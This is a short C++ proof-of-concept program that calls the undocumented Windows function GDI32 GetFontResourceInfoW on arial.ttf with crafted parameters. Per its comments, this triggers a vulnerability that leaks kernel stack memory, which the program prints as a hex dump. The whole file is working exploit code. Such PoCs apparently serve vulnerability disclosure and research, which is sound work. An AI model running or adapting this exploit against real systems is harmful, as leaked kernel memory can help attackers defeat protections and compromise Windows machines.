#include <Windows.h>
#include <cstdio>

// Undocumented definitions for the gdi32!GetFontResourceInfoW function.
typedef BOOL(WINAPI *PGFRI)(LPCWSTR, LPDWORD, LPVOID, DWORD);

VOID PrintHex(PBYTE Data, ULONG dwBytes) {
  for (ULONG i = 0; i < dwBytes; i += 16) {
    printf("%.8x: ", i);

    for (ULONG j = 0; j < 16; j++) {
      if (i + j < dwBytes) {
        printf("%.2x ", Data[i + j]);
      }
      else {
        printf("?? ");
      }
    }

    for (ULONG j = 0; j < 16; j++) {
      if (i + j < dwBytes && Data[i + j] >= 0x20 && Data[i + j] <= 0x7e) {
        printf("%c", Data[i + j]);
      }
      else {
        printf(".");
      }
    }

    printf("\n");
  }
}

int main() {
  // Resolve the GDI32!GetFontResourceInfoW symbol.
  HINSTANCE hGdi32 = LoadLibrary(L"gdi32.dll");
  PGFRI GetFontResourceInfo = (PGFRI)GetProcAddress(hGdi32, "GetFontResourceInfoW");

  // Trigger the vulnerability and dump kernel stack output. The code assumes that Windows is
  // installed on partition C:\ and the C:\Windows\Fonts\arial.ttf font is present on disk.
  BYTE OutputBuffer[0x5c] = { /* zero padding */ };
  DWORD OutputSize = sizeof(OutputBuffer);
  if (!GetFontResourceInfo(L"C:\\Windows\\Fonts\\arial.ttf", &OutputSize, OutputBuffer, 5)) {
    printf("GetFontResourceInfo failed.\n");
    return 1;
  }

  PrintHex(OutputBuffer, sizeof(OutputBuffer));

  return 0;
}